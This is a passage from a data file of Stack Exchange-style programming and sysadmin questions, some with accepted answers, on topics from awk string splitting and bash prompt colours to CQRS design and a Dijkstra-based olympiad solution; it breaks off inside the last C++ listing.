{  "id": "_webapps.6513"  , "question": "We would like to start accepting user contributed photos for our website and events in our area. Ideally we'd like to be able to say email uploads@photosite.com as well as a web interface where users can upload their photos, or perhaps share via facebook etc...We don't want the photos to be published right away of course, as we'll need to vet and choose the best ones. but we would like them to go directly into our photo account so we can easily publish them. we have both a smugmug account and a flickr account but haven't been able to determine if this can be done and where.If you have done this in the past please let us know what worked for you, thanks!"  , "title": "Site for accepting user photos (crowdsourcing)"  , "tags": "webapp rec;photo sharing"  } 
{  "id": "_webmaster.22511"  , "question": "I am looking for theoretical resources (books, tutorials, etc.) to learn about making sound statistical inferences given (plenty of) multivariate website conversion data.I'm after the math involved, and cannot find any good non-marketing stuff on the web. The sort of questions I want to answer: how much impact does a single variable (e.g. color of text) have? what is the correlation between variables? what type of distribution is used for modelling (Gaussian, Binomial, etc.)? When using statistics to analyze results - what should be considered as a random variable - the web-page element that gets different variations or the binary conversion-or-no-conversion outcome of an impression?There's plenty of information about different website optimization testing methods and their benefits\\pitfalls, plenty of information about multivariate statistics in general, do you guys know of resources that discuss statistics in this specific context of website optimization?"  , "title": "Math behind multivariate testing for website optimization"  , "tags": "statistics;recommendations;books"  } 
{  "id": "_codereview.151949"  , "question": "Square free no: It is an integer which is divisible by no other  perfect square than 1. For example, 10 is square-free but 18 is not,  as 18 is divisible by 9 = 3^2.The smallest positive square-free numbers are 1, 2, 3, 5, 6, 7, 10,  11, 13, 14, 15, 17, 19, 21, 22, 23, 26, 29, 30, 31, 33, 34, 35, 37,  38, 39Is it possible to reduce the time execution for this code, without importing any Python module?What should I use in place of a for loop body containing an if condition? Will using a lambda function be helpful?def squarefree(n):  for i in range (2, round(n**0.5)):     if n % (i**2) == 0:         return False  return n"  , "title": "Square free number"  , "tags": "python;python 3.x"  , "accepted_answer": "ReviewPython has an official style-guide, PEP8. It recommends using white-space only where necessary (so the blank line after def squarefree(n): could go, as could the trailing space) and using four spaces as indentation.Normally I would consider it best practice for a function like this to return actually True or False. Your function returns False or  a truthy value, which also works, but is not as clean. Consider changing it from return n to return True.Alternate implementationAs @Dair mentioned in the comments, depending on your use-case for this, it would be faster to write a sieve that gets all square-free numbers up to some limit.Starting with the Sieve of Eratosthenes, taken from another of my answers, this could be implemented like this:def squarefree(n):        Check if n is a square-free number, i.e. is divisible by no other perfect square than 1.    Args:        n     positive integer to check    Returns:        n     if n is a square-free number        False else        for i in range(2, round(n**0.5)):        if n % (i**2) == 0:            return False    return ndef square_free_sieve(limit):    Generator that yields all square free numbers less than limit    a = [True] * limit    # Needed so we don't mark off multiples of 1^2    yield 1    a[0] = a[1] = False    for i, is_square_free in enumerate(a):        if is_square_free:            yield i            i2 = i * i            # Start at 2 * i**2 to allow first square free number, like 9            for n in range(2 * i2, limit, i2):                a[n] = Falsetest1 = [n for n in range(100) if squarefree(n)]test2 = list(square_free_sieve(100))assert test1 == test2When generating all square free numbers up to 100,000, your code needs about 3.5s, while the sieve only takes 0.05s, which is about 70 times faster."  } 
{  "id": "_webapps.70892"  , "question": "I open the Facebook app on my phone and go to chat and it tells me one person was last active ten minutes ago and then all of a sudden it says last active one minute ago but I never see a green dot to say they were online. Why is this?  It shows green dots for others but not this one person. It was happening throughout the night but then stopped at a certain time.I only ask this because I have an anxiety along with other things and it plays on me at times. I just wondered is it a flaw with Facebook or something I should be concerned about. Any help would be greatly appreciated. "  , "title": "Why on Facebook can I not see someone online but only last active?"  , "tags": "facebook chat"  } 
{  "id": "_codereview.139702"  , "question": "I've been thinking of using this:template <typename T>inline T from_string(const std::string& s){   std::istringstream iss;   iss.str(s);   T result;   iss >> result;   return result;}in my code. Then I thought I shouldn't construct istringstreams all the time, and made it into this:inline std::istringstream& get_istringstream(){    static thread_local std::istringstream stream;    stream.str();    return stream;}template <typename T>inline T from_string(const std::string& s){   auto& iss(get_istringstream());   iss.str(s);   T result;   iss >> result;   return result;}... and this builds and works (although I haven't tested it very extensively, nor ran performance tests). Would you say that good enough for general-purpose utility code, that is not intended to run in some tight loop? Are there other considerations I've overlooked, performance-wise (*) or usability-wise?Perhaps I should mention my motivation here is partly how I found it strange that there's no std::from_string().Edit: If you're concerned about the dependence on a default constructor, we can also throw in this:template< typename T >struct istream_traits {    inline static T read(std::istream& is)    {        T x;        is >> x;        return x;    }};template<> struct istream_traits<bool> {    inline static bool read(std::istream& is)    {        is >> std::boolalpha;        bool x;        is >> x;        return x;    }};template<typename T>inline T read(std::istream& is){    T x = istream_traits<T>::read(is);    return x;}... and then replace T result; iss >> result; with return read<T>(iss);.(*) - Yes, I know anything with iostreams is probably not fast to begin with."  , "title": "A from_string() function (inverse of std::to_string)"  , "tags": "c++;c++11;parsing;serialization"  } 
{  "id": "_softwareengineering.288292"  , "question": "Can I take a GPL program and relicense my changes under the AGPL?Say I clone a GPL project, make some changes, can I only allow people to use my changes under the AGPL license? "  , "title": "Can I take a GPL program and relicense my changes under the AGPL?"  , "tags": "licensing;gpl;agpl"  } 
{  "id": "_unix.190690"  , "question": "I'm getting this kind of error when i'm deleting file on my AIX machine.  Getting same error for rmdir.   venky-19:[/hm/dev/application/backup/ear/] # rm -rf resourcesrm: Directory resources is not empty.I tried to find out the hidden files using ls -lart under resources and ear directory. But there are no hidden files.  "  , "title": "rm: Directory resources is not empty"  , "tags": "directory;rm;aix"  } 
{  "id": "_unix.337862"  , "question": "Is there still any possibility to install PHP7 on Debian Wheezy (7.11) ?/etc/apt/sources.listdeb http://packages.dotdeb.org wheezy alldeb-src http://packages.dotdeb.org wheezy allCommands# apt-get install php7.0Reading package lists... DoneBuilding dependency treeReading state information... DoneE: Unable to locate package php7.0E: Couldn't find any package by regex 'php7.0'Only PHP5 packages are available."  , "title": "Obtain PHP7.0 on Debian 7"  , "tags": "debian;php"  , "accepted_answer": "Eventually I haven't found any feasible solution for me (I was too lazy to compile from source) and I upgraded to Debian Jessie with the help of this articlehttps://www.debian.org/releases/jessie/i386/release-notes/ch-upgrading.en.html"  } 
{  "id": "_scicomp.11284"  , "question": "I am a novice at PETSC, and I have been trying to  write an FVM code for steady heat conduction in 2D using  PETSC (square, regular grid, Dirichlet boundaries)Since the large matrix , say A, will be sparse I  declare 5 non-zeros per row and use MatCreateSeqAIJ()My question is about assembling the entries of the matrix. In each CV, I call MatSetValues()and add the 5 coefficients into A using local arrays II, JJ and Values_IJ1) Is this the right or usual way to do this? I ask because, it seems to me, am assembling by implicitly using a COO type representation of sparsity in my loop while the matrix representation in PETSC is CSR.2) If not, is there a way to create the local arrays II, JJ and Values_IJ to fit the CSR format of the matrix and then call MatSetValues()? "  , "title": "Assembling sparse matrix in PETSC for Poisson equation"  , "tags": "finite difference;petsc;sparse;finite volume;poisson"  } 
{  "id": "_unix.275639"  , "question": "I would like to be able to switch between my default US English keyboard to an Arabic one, as I would like to learn some Arabic. I know that going to System Settings → Regional Settings → Translations and choosing  as my default language will cause everything that can be translated to be translated to Arabic when I next log into KDE Plasma 5. I also know that this causes the Plasma panel to be reversed (so that its Left→Right orientation to be switched to a Right→Left one). What I want is for nothing to be translated or reversed just for my keyboard to be temporarily switched to an Arabic one (but easily switchable back to my default US English one), so that I can type in Arabic. If relevant (like if your answer involves installing extra software) I am using Arch Linux. "  , "title": "How do I temporarily switch between keyboards on KDE Plasma 5?"  , "tags": "keyboard layout;plasma5"  , "accepted_answer": "I have found an answer, namely running:sudo setxkbmap -layout arachanges my keyboard to an Arabic one. Likewise running:sudo setxkbmap -layout usswitches it back to a US English keyboard. Further layouts can be found in /usr/share/X11/xkb/symbols/. "  } 
{  "id": "_cstheory.16254"  , "question": "Given a data matrix $D$, is there any effective algorithm to solve the optimization problem$\\min_Q || D - Q ||_F$such that$Qe=e$,$e^TQ=e^T$, and$Q_{i,j} \\geq 0 $  $\\forall i,j$,where $||\\cdot||_F$ is the Frobenius norm of matrix.p.s. I also posted this question on the Mathematicss exchange."  , "title": "Effective algorithm of searching the nearest doubly stochastic matrix"  , "tags": "optimization;matrices"  , "accepted_answer": "This is a special case of the following problem: given a polytope $P$ specified by linear constraints and a point $x$ find $y \\in P$ that minimizes $\\|x - y\\|_2^2$. If you are ok with a small additive approximation to $\\|x - y\\|_2^2$, you can try using the Frank-Wolfe algorithm. This is a sort of gradient descent algorithm. You start from a point $y_0 \\in P$ (in your case this could be say the $n \\times n$ matrix with $1/n$ in every coordinate) and in each steps you compute $y_{i+1}$ from $y_i$ as follows:Let $w = x - y_i$.Let $v$ be the vertex of $P$ that maximizes $w^Tz$ for $z \\in P$ (can be found by LP).Find the point on the line through $y_i$ and $v$ that is closest to $x$ (this is quadratic optimization in a single variable). This point is $y_{i+1}$.Ken Clarkson has analyzed this simple algorithm. In $t$ steps, the additive approximation is bounded by $d(P)^2/t$, where $d(P)$ is the diameter of $P$. In your case, I believe $d(P) \\leq \\sqrt{n}$, as the vertices of $P$ are permutation matrices and they all have Frobenius norm $\\sqrt{n}$. So in $O(n/\\epsilon)$ iterations of the above algorithm you can get $Q$ such that  $\\|D - Q\\|_F^2 \\leq \\|D - Q^*\\|_F^2 + \\epsilon$, where $Q^*$ is the optimal solution."  } 
{  "id": "_webapps.19977"  , "question": "Yahoo! Mail is not letting me attach files to send.  This problem started suddenly and inexplicably on 18 October 2011.  I have tried multiple browsers.  I have tried re-installing browsers.  I have tried to attach both .docx and .doc files (files that are clearly well below the maximum allowed size).  Sometimes the system just hangs and sometimes I get an error message in red type (sorry, can't recall the specific text of the message).  Has anyone else experienced this?  More importantly, does anyone have a solution?  "  , "title": "Yahoo! Mail is not letting me attach files to send..."  , "tags": "email;yahoo mail;attachment"  } 
{  "id": "_unix.106243"  , "question": "file is:BASH.NIRSH.ABII want the awk will show:User is NIR, SHELL is BASHUser is ABI, SHELL is SHI dont know how to split a parameter by char.The Idea is:cat file.txt | awk '{print User is  afterDot($1) , SHELL is  beforeDot($1)}'"  , "title": "awk split parameter by char"  , "tags": "awk"  , "accepted_answer": "You can use the string functions in awk.$ (echo BASH.NIR; echo SH.ABI FOOBAR) | awk '{p=index($1,.);print User is, substr($1,p+1) , SHELL IS, substr($1,0,p-1)}'User is NIR, SHELL IS BASHUser is ABI, SHELL IS SHThe index function returns the position of the character to be found (in this case a dot).  And strstr will return a substring.  We use p+1 and p-1 to not include the dot.For more information look in the String Functions section of the awk manpage."  } 
{  "id": "_unix.285328"  , "question": "This question is about best practices. I know logging in over secure shell or switching users su, and su -l have different effects. Also, in the event you make a typo in the configuration, you still want to be able to log in. Where is/are the/some ideal place/s to store color definitions? At the moment I have them in .bash_profile. Is it ok to store them in .bashrc?Configuration Locations:According to the ArchWiki/etc/profile    Sources application settings in /etc/profile.d/*.sh and /etc/bash.bashrc.   ~/.bash_profile Per-user, after /etc/profile. ~/.bash_login (if .bash_profile not found)~/.profile (if .bash_profile not found)/etc/skel/.bash_profile also sources ~/.bashrc.~/.bash_logout /etc/bash.bashrc Depends on the -DSYS_BASHRC=/etc/bash.bashrc compilation flag. Sources /usr/share/bash-completion/bash_completion~/.bashrc Per-user, after /etc/bash.bashrc.Let's save I have two color definitions, one for the command prompt and one for the ls command.set_prompt () {    Last_Command=$? # Must come first!    Blue='\\[\\e[01;34m\\]'    White='\\[\\e[01;37m\\]'    Redbold='\\[\\e[01;31m\\]'    Greenbold='\\[\\e[01;32m\\]'    Greenlight='\\[\\e[00;32m\\]'    Blueintense='\\[\\033[00;96m\\]'    Purplelight='\\[\\e[00;35m\\]'    Yellowbold='\\[\\e[01;33m\\]'    Graydark='\\[\\e[01;90m\\]'    Reset='\\[\\e[00m\\]'    FancyX='\\342\\234\\227'    Checkmark='\\342\\234\\223'    PS1=${Graydark}\\t     if [[ $Last_Command == 0 ]]; then        PS1+=$Greenlight$Checkmark     else        PS1+=$Redbold$FancyX     fi    if [[ $EUID == 0 ]]; then        PS1+=\\\\u@$Redbold\\\\h     else        PS1+=$Greenlight\\\\u$White@$Redbold\\\\h     fi    PS1+=$Graydark\\\\W $Redbold\\\\\\$$Reset }PROMPT_COMMAND='set_prompt'set_ls () {    Default='0;0'    White='97'    Yellowbold='01;33'    Greenlight='00;32'    Purplelight='00;35'    Purplebold='01;35'    Whitelight='00;37'    Yellowlight='00;33'    Graydark='00;90'    # Highlight    Highlightpurpledark='45'    Highlightgraydark='100'    LS_COLORS=fi=$Greenlight:di=$White;$Highlightgraydark:*.tex=$Purplebold    export LS_COLORS}set_ls"  , "title": "Where should I save color codes for the PS1 command line / terminal?"  , "tags": "shell;command line;configuration;colors"  } 
{  "id": "_softwareengineering.90161"  , "question": "I just started working at a company and we're currently in a fairly intensive (full-days most work days) training program to bring us up to speed on the way the company does things, and train us in VB.NET, along with some C#.They're beginning to migrate towards a modified Model-View-Presenter architecture, with server remoting playing a fairly large role. An example .NET program might look like this:SomeSolution|+-+- ServerProject| || +- ServerEmployee.vb| || +- Server.vb|+-+- Presenter| || +- PresenterEmployee.vb| || +- Presenter.vb| || +- IView.vb|+-+- ViewProject  |  +- ViewEmployee.vb  |  +- View.vbThe classes in question would be the employee classes. The example that I was given was that the ServerEmployee would have the most information - being retrieved from a database, it would likely have the most attributes, such as .FirstName, .LastName, .MiddleInitial, .PreferredName, .HireDate, and whatever other attributes were present on the database. The PresenterEmployee would have the other attributes, as well as a .FullName attribute that perhaps was generated this way:If employee.PreferredName <> String.Empty Then    employee.FullName = employee.PreferredName &   & employee.LastNameElse    employee.FullName = employee.FirstName &   & Employee.MiddleInitial &   & Employee.LastNameEnd IfAnd finally, the ViewEmployee would only have the .FullName and .HireDate attributes. We were informed that the rationale behind this design was that if we have say, a DataStructures class that's referenced by the other classes then each time the DataStruture class has to be rebuilt, the entire project must be re-deployed (which I understand is a somewhat tedious process because of some infrastructure decisions). I understand that that would not be A Good Thing, but it seems that if you have some code that probably won't change much (a fairly generic superclass with some straightforward properties), it would make sense to avoid the code duplication.Am I correct in thinking that this is a violation of the DRY principle? The first thing I thought of when they taught this was ewww, that kinda smells...Other than (potentially) not having to redeploy the entire application every time the superclass is changed, is there any benefit to doing things this way? And if it is broken, and I want to take the onus to try and fix it, what are some good arguments to defend my choice?"  , "title": "Does this pattern disregard the DRY principle, and can I modify the pattern to fit?"  , "tags": "design;code smell"  , "accepted_answer": "Once you get into the world of n-tier architecture, it becomes a question of how much separation you want between layersA typical 3-tier architecture would be Data Layer <-> Business Layer <-> UI Layer.The data layer would contain the database entities, the business layer would contain a view of the database entities with business logic applied and the UI layer would contain a view of the business layer with presentation logic applied.Depending on the scope of the project, it is perfectly acceptable to re-use entities between layers if you want to avoid a lot of repetitive mapping.It really comes down to separation of concerns versus DRY.  If you need to reuse the business layer, you obviously don't want the UI layer using the business entities directly since any refactoring would have to be applied in multiple places (is having to refactor the same thing in multiple places considering a violation of DRY? :)? The only concern I would have with the above approach is that I'm not sure how you are handling aggregated entities.  My own preference is to use DDD to design the business layer so that each component is intended for a specific use case rather than just a collection of separate entities with some business logic inside themI would recommend a tool like AutoMapper to do the mapping between layers via convention if you want the flexibility of the above approach whilst avoiding some of your DRY concerns.Ultimately, there is no right answer tho. :("  } 
{  "id": "_softwareengineering.339981"  , "question": "I find it difficult allying CQRS/ES with the Out of tar pit paper architecture.This architecture implies 4 layers:State (state of the application) Business Domain (purely functional)I/OControl ( all the dirty stuff for making the layers work together)In my case, the state depends heavily on a database.With the CQRS/ES in mind, I have a decision engine.The decision engine for producing an event from a command, is the Business Domain, which has to be purely functional.When a command asks for an Item to be created, the decision engine chooses to accept or not to create an event CreateItem only if the Item is not already existing (simplified for the example).In theory, I should pass the state of the application as a argument to the Business Domain, so as to decide accordingly.But in the case of a database, I cannot pass the database as a side-effect free parameter. I feel like I have to perform the query checking the existence of the item beforehand inside the Control layer, and then pass the result of the query on the database to the Business Domain, which will then return an event or not.The consequence is that I have some business code (the one related to the query and the business logic to perform the checkings) that will be inside the Control layer.That feels wrong for me as far as I understood the Out of the tar pit paper and also CQRS/ES.The main issue seems for me that the state is huge: it's the whole database.What is wrong in my reasoning ?"  , "title": "CQRS/ES in haskell, using Out of the tar pit paper architecture"  , "tags": "haskell;cqrs;event sourcing"  , "accepted_answer": "With the CQRS/ES in mind, I have a decision engine. The decision engine for producing an event from a command, is the Business Domain, which has to be purely functional.Good.When a command asks for an Item to be created, the decision engine chooses to accept or not to create an event CreateItem only if the Item is not already existing (simplified for the example).Also good.In theory, I should pass the state of the application as a argument to the Business Domain, so as to decide accordingly.Yes, perfect.  (Note: more state of the domain than state of the application.  Also, ddd taught us that we don't need the state of the entire domain, just state local to the change we are considering.)But in the case of a database, I cannot pass the database as a side-effect free parameter.That's right -- all of the interaction with the database should happen outside of the business domain (which only cares about state).I feel like I have to perform the query checking the existence of the item beforehand inside the Control layer, and then pass the result of the query on the database to the Business Domain, which will then return an event or not.Ah.  Not quite -- you don't need to check the existence of the item, you need to check its state, which is not quite the same thing.Fortunately, you are using ES; which does make things simpler to explain: this history of an entity that doesn't exist is empty.So in this case: you receive a command from IO.  Control fetches the appropriate history from the state of the application.  The model is invoked, passing in that history and the command as arguments.  The model returns event(s) that are consequences of the command being run at this point in the history.  Control updates the copy of the history in the state of the application.So happy path: the commmand CreateItem(x) arrives.  Command fetches History(x), which in this case is an empty sequence of events.  The model invoked, it sees from the history that the item doesn't exist yet, and that the business invariant is otherwise satisfied, to it returns a representation of the ItemCreated(x) event.Alternative path: the commmand CreateItem(x) arrives.  Command fetches History(x), which in this case is a sequence of events including CreatedItem(x).  The model invoked, it sees from the history that the item has previously been created, and rejects the command (throws an exception, returns an Error, returns an empty collection of events)."  } 
{  "id": "_unix.218573"  , "question": "When I update my google chrome or chromium to a version that is higher than 38 The window of the browser gets black functional square. It's all black even the top bar. I basically can't see anything just black. When I downgrade to version 38 or previous version, It runs correctly. The machine has centos 6.6 3.10.56-11.el6.centos.alt.x86_64."  , "title": "Google chrome and chromium black window"  , "tags": "centos;chrome"  } 
{  "id": "_codereview.59744"  , "question": "I have a lot of code that looks like this:value = TopicLinkClick.create_from(new_params)return value unless value.nil?# do something elseI find this code is not so good because creating a temporary variable is troublesome and disruptive of my workflow, and it takes time to read and understand a large block of code that is meaningless.Is there a better way for me to do this?"  , "title": "Early return, unless return value is nil"  , "tags": "ruby"  } 
{  "id": "_softwareengineering.161119"  , "question": "How is programming a quantum algorithm different? What would a C like language look like if it was designed for qubits? Would types change?"  , "title": "How will quantum computing change programming?"  , "tags": "programming languages;algorithms"  } 
{  "id": "_softwareengineering.267044"  , "question": "Consider the following program:Many people when they want to use a struct, they create a new variable as:struct structureName variableNameWhile it works when you just define it as: structureName variableNameMy teacher always uses the first method. My question is how do they differ? Do I ever need to specify struct before defining my variableName. Here is an example to explain my question:struct example {    int n;    char c;};int main() {    example o;    o.c = 'c';    o.n = 5;    printf(%c, o.c);    printf(%d\\n, o.n); //this works    struct example ex; // this versus example o without using struct keyword    ex.c = 'e';    ex.n = 7;    printf(%c, ex.c);    printf(%d, ex.n); //this works    return 0;}"  , "title": "Why define struct in variable?"  , "tags": "c++;c;data structures"  , "accepted_answer": "This is one of the differences between C and C++.In C, structure names are completely separate from other names and you must use the struct keyword to tell the compiler to look for the name of a structure.Another way to put it is that the struct keyword is actually part of the name of the structure.When designing C++, this was changed and the use of the struct (or class) keyword was made optional when referring to a structure or class."  } 
{  "id": "_datascience.17487"  , "question": "I read on this post that the best way to train a model to convert an audio input to an audio output is using regression:Is it possible using tensorflow to create a neural network that maps a certain input to a certain output?What if the dataset I am training with has audio input & outputs of different length? I would like my model to be able to convert any sized input to the corresponding sized output."  , "title": "Neural Network Regression Model Allowing Audio Input of Any Length?"  , "tags": "neural network;regression;tensorflow"  } 
{  "id": "_softwareengineering.84598"  , "question": "In database programming there's a technique called normalization that you do to data you want to store.Has anyone tried to apply this concept to object design?  How did you?  How did it work out?Edit: To expand/clarify, database normalization is more than a set of principles to reduce redundancy.  There's actually steps and stages you go through and at least moderately objective measures that tell you which stage you are in.  Object design has its own principles, and there's the concept of smell, but is there any way to do something similar that would tell you that you're in XX-form0,1,2...etc...and methods to move to the next most normalized level?"  , "title": "Object Oriented normalization"  , "tags": "design"  } 
{  "id": "_webmaster.55682"  , "question": "I have updated the .htaccess file so that when someone types in example.com, they are redirected to www.example.com. This works great on my computer, but when I try it on my cell phone is does not redirect. Instead I get the Webpage not available message. Does anyone know why? I've designed many websites and have never run into this problem."  , "title": "Website won't work without www on mobile phone"  , "tags": "htaccess;redirects;mobile"  } 
{  "id": "_reverseengineering.109"  , "question": "We all know that Ubuntu is the most popular Linux distro today with plenty of application currently being developed for it. But then I use Fedora and some use other distros but still liked to have the same program from Ubuntu in their systems.So how can I convert .deb files back to .tar so it can be recompiled for other distros?"  , "title": "How can I turn .deb files back to .tar for reuse with other Linux distros?"  , "tags": "decompilation;linux;development"  } 
{  "id": "_softwareengineering.49749"  , "question": "In simple steps how can one make the transition from a Use Case diagram to a Class diagram?"  , "title": "UML: Going from Use Case to Class Diagram"  , "tags": "uml"  , "accepted_answer": "Last year I gave a talk at ICSOFT 2010 that addressed that particular issue. The answer is not simple and I cannot describe it here in full, but you can download my presentation here. Scroll down to slide 23 Moving from functional to structural models for this topic.The OPEN/Metis white paper contains additional information to complement the presentation.The basic steps to obtain a class model from use cases are:Create a service model for each use case.Define operations for each service and busy state in your service models.Determine the responsible class for each operation, adding new classes when necessary.I will be happy to extend this answer with additional details if you have further questions."  } 
{  "id": "_webmaster.58725"  , "question": "I was looking at this question and others similar, but I'm a bit unsure if the same applies for my case: I recently made a site which cuts for browser support at IE9. However the old site, which mine replaces, does have support all the way back to IE6. Users on < IE8 will be redirected using JavaScript to ie.mydomain.com rather allowed trough to www.mydomain.com. As the content is fairly similar on both sides I'm a bit worried about getting punished for duplicated content. For now I've disallowed the IE site for indexing altogether. But if there is something to gain of allowing indexing of both sites, that would of course be best."  , "title": "Browser specific sub-domain?"  , "tags": "seo;subdomain"  , "accepted_answer": "This isn't a terrible thing to do if you want to support legacy browsers. As long as you have it blocked from search engines crawlers you won't have to worry about duplicate content issues. And it isn't serving up special content just for the search engines because they are getting the same content as everyone else (nor is it done for the benefit of search engines) so it isn't black hat. So SEO-wise, this is fine."  } 
{  "id": "_codereview.102559"  , "question": "I designed a simple drop-out stack a while back. Basically, I just want to get a few opinions on whether or not this is a good implementation and whether I am understanding the concept of a drop-out stack correctly. I know there are other / better ways to implement a stack, but I'm interested specifically in doing it with an array.Basically, my idea is to allow elements to be pushed in until limit of array is reached, then an int representing the top of the stack is reset to 0, so the bottom elements are replaced by new ones pushed in. This is as opposed to making a copy of the array in a new array...but then it wouldn't be a drop-out stack.The pop method does something similar, only in reverse. If the marker for the top reaches 0, it is set to size of array-1 so elements can still be popped in correct order.The output I'm getting looks fine to me. No null references or objects in the wrong place, etc. I've tested it pushing in Character and Integer objects.package CAStack;import java.util.Arrays;//********************************************************************//  CircularArrayStack.java       ////  Represents an array implementation of a dropout stack. The bottom of//  the stack drops out each time a new element is pushed in, after//  size limit is reached. ////  Based on ArrayStack.java//////********************************************************************    public class CircularArrayStack<T> implements StackADT<T>    {       private static final int DEFAULT_CAPACITY = 100;       private int top;       private int bottomElem = 0;       private T[] stack;       //-----------------------------------------------------------------       //  Creates an empty stack using the default capacity.       //        //-----------------------------------------------------------------        public CircularArrayStack()       {          this(DEFAULT_CAPACITY);       }       //-----------------------------------------------------------------       //  Creates an empty stack using the specified capacity.       // Note top is now initialized at -1 so that when first       // element is added an top is decremented, top will equal 0       // corresponding to the array index of the first element.       //       //-----------------------------------------------------------------       public CircularArrayStack(int initialCapacity)       {            top = -1;          stack = (T[])(new Object[initialCapacity]);       }       //-----------------------------------------------------------------       //  Adds the specified element to the top of this stack, expanding       //  the capacity of the stack array if necessary.       // Top is now incremented BEFORE element is added, so that element       // is still successfully added to top of array; makes sure       // element at value of top before increment is not overwritten.       //       // If new element is pushed in after size = CUTOFF, bottom element       // or lowest stack element remaining is removed.       //        // Instead of expanding capacity, elements are added to bottom of        // stack if it becomes full.       //-----------------------------------------------------------------       public void push (T element)       {         if (top == size()-1)             top = -1;         top++;         stack[top] = element;       }    //-----------------------------------------------------------------       //  Removes the element at the top of this stack and returns a reference to it.       // Top is now decremented AFTER element is popped and value is changed       // to null, as top now represents position of element, not position       // above element.       //-----------------------------------------------------------------       public T pop () throws EmptyCollectionException       {          if (isEmpty())             throw new EmptyCollectionException(stack);          T result = stack[top];          stack[top] = null;          if (top == 0)            top = size();          top--;          return result;       }    //-----------------------------------------------------------------       //  Returns a reference to the element at the top of this stack.       // Returns element at top rather than top -1 since top now       // corresponds to position of element.       //-----------------------------------------------------------------       public T peek () throws EmptyCollectionException        {          if (isEmpty())             throw new EmptyCollectionException(stack);          return stack[top];       }       //-----------------------------------------------------------------       //  Returns a string representation of this stack.       //-----------------------------------------------------------------       public String toString()       {          String result = <top of stack>\\n;          for (int index = top; index >= 0; index--)             result += stack[index] + \\n;          return result + <bottom of stack>;       }    //-----------------------------------------------------------------        // Returns true if the stack is empty.        // Changed so that method returns true if top < 0 rather         // than top < 1 since top < 0 now represents empty condition.    //-----------------------------------------------------------------        public boolean isEmpty()         {            return top < 0;        }    //-----------------------------------------------------------------        // Returns the number of elements on the stack.    //-----------------------------------------------------------------        public int size()         {                   return stack.length;        }    }Interface Used:    package CAStack;    /**     * Defines the interface to a stack collection.     *     * @author Java Foundations     * @version 4.0     */    public interface StackADT<T>    {        /**           * Adds the specified element to the top of this stack.          * @param element element to be pushed onto the stack         */        public void push(T element);        /**           * Removes and returns the top element from this stack.          * @return the element removed from the stack         */        public T pop();        /**           * Returns without removing the top element of this stack.          * @return the element on top of the stack         */        public T peek();        /**           * Returns true if this stack contains no elements.          * @return true if the stack is empty         */        public boolean isEmpty();        /**          * Returns the number of elements in this stack.          * @return the number of elements in the stack         */        public int size();        /**           * Returns a string representation of this stack.          * @return a string representation of the stack         */        public String toString();    }"  , "title": "Stack using an array"  , "tags": "java;array;stack;circular list"  } 
{  "id": "_unix.206376"  , "question": "I like the website www.globalresearch.ca and I have made copies of it. This command works for me wget -r -l14 -t2 -T60 -E -k --no-check-certificate --restrict-file-names=windows,nocontrol --user-agent=Mozilla/4.0 (compatible; MSIE 6.0; Microsoft Windows NT 5.1) http://www.globalresearch.ca/but it takes something over 30 hours! to make a complete copy of the site. And It's over 6 Gigabytes in size.Is there a better or faster way , to copy a website in gnu/linux?Can I copy the website one time with wget and then use wgetto update the files on the hard drive and add only the new material?I would like to have it convert the links so that they point to the fileson the hard drive ( -k ). What would the command for something like that look like. Or is there a better way, a faster way to make a copy of the site? I really don't want to have to wait 30+ hours just to make a copyof one web site.Thank You."  , "title": "Whats the best way to copy a website onto your harddrive?"  , "tags": "wget"  } 
{  "id": "_codereview.146468"  , "question": "This problem is from INOI 2014 , where I have find out the maximum cost of traveling through the cities but taking the minimum possible route cost , here is an excerpt from it,Indian National Olympiad in Informatics 2014Nikhils slogan has won the contest conducted by Drongo Airlines and  he is entitled to a free ticket between any two destinations served by  the airline. All cities served by Drongo Airlines can be reached from  each other by some sequence of connecting flights. Nikhil is allowed  to take as many connecting flights as needed, but he must take the  cheapest route between his chosen destinations.Each direct flight between two cities has a fixed price. All pairs of  cities connected by direct flights have flights in both directions and  the price is the same in either direction. The price for a sequence of  connecting flights is the sum of the prices of the direct flights  along the route.Nikhil has information about the cost of each direct flight. He would  like to maximize the value of his prize, so he would like to choose a  pair of cities on the network for which the cost of the cheapest route  is as high as possible.For instance, suppose the network consists of four cities {1, 2, 3,  4}, connected as shown on the diagram.In this case, Nikhil should choose to travel between 1 and 4, where  the cheapest route has cost 19. You can check that for all other pairs  of cities, the cheapest route has a smaller cost. For instance, notice  that though the direct flight from 1 to 3 costs 24, there is a cheaper  route of cost 12 from 1 to 2 to 3.The solution was pretty obvious to do dijkstra's in every vertex and find the maximum cost from the incurred map, but while maximum of the tutorials use a map+heap structure which is unavailable in c++ , hence I have to use a sorted vector for the same purpose.The problem is the code , out of 20 testcases , shows TLE on 2 , so anyone have any better idea on how to tackle that heap + map approach , so that my code passes without a TLE?Here is my code,#include <iostream>#include <deque>#include <map>#include <vector>#include <utility>#include <algorithm>#include <climits>#define NIL -1typedef struct distances{    int index;    int dist;}distances;bool compareheap(distances a,distances b){    return a.dist < b.dist;}int findIndex(std::deque<distances>heap,int vertex){    int size = heap.size();    int index = NIL;    for(int i=0;i<size;i++){        if(heap[i].index == vertex){            index = i;        }    }    return index;}bool comparePt(std::pair<int,int> a,std::pair<int,int>b){    return a.second > b.second;}int dijkstra(std::vector<std::vector<int> >graph,int vertex,int size){    std::map<int,int>map;    map.insert(std::pair<int,int>(vertex,0));    std::deque<distances>heap;    for(int i=0;i<size;i++){        if(i == vertex){            continue;        }        if(graph[vertex][i] != NIL){            distances a;            a.index = i;            a.dist = graph[vertex][i];            heap.push_back(a);        }else{            distances a;            a.index = i;            a.dist = INT_MAX;            heap.push_back(a);        }    }    //std::cout << got here << std::endl;    while(!heap.empty()){        sort(heap.begin(),heap.end(),compareheap);        distances top = heap.front();        heap.pop_front();        int ind = top.index;        int distance = top.dist;        //std::cout << ind << ' ' << distance << std::endl;        map.insert(std::pair<int,int>(ind,distance));        //std::cout << got here << std::endl;        for(int i=0;i<size;i++){            //std::cout << i << std::endl;            //std::cout << ind << ' ' << i << std::endl;            if(graph[ind][i] != NIL){                //std::cout << got here << std::endl;                int index = findIndex(heap,i);                if(index == NIL){                    continue;                }                //std::cout << got here << std::endl;                int d = graph[ind][i]+distance;                if(d < heap[index].dist){                    heap[index].dist = d;                }            }        }        //std::cout << got here << std::endl;    }    std::vector<std::pair<int,int> >v;    std::copy(map.begin(),map.end(),back_inserter(v));    sort(v.begin(),v.end(),comparePt);    return v[0].second;}int main(){    int city,connections;    std::cin >> city >> connections;    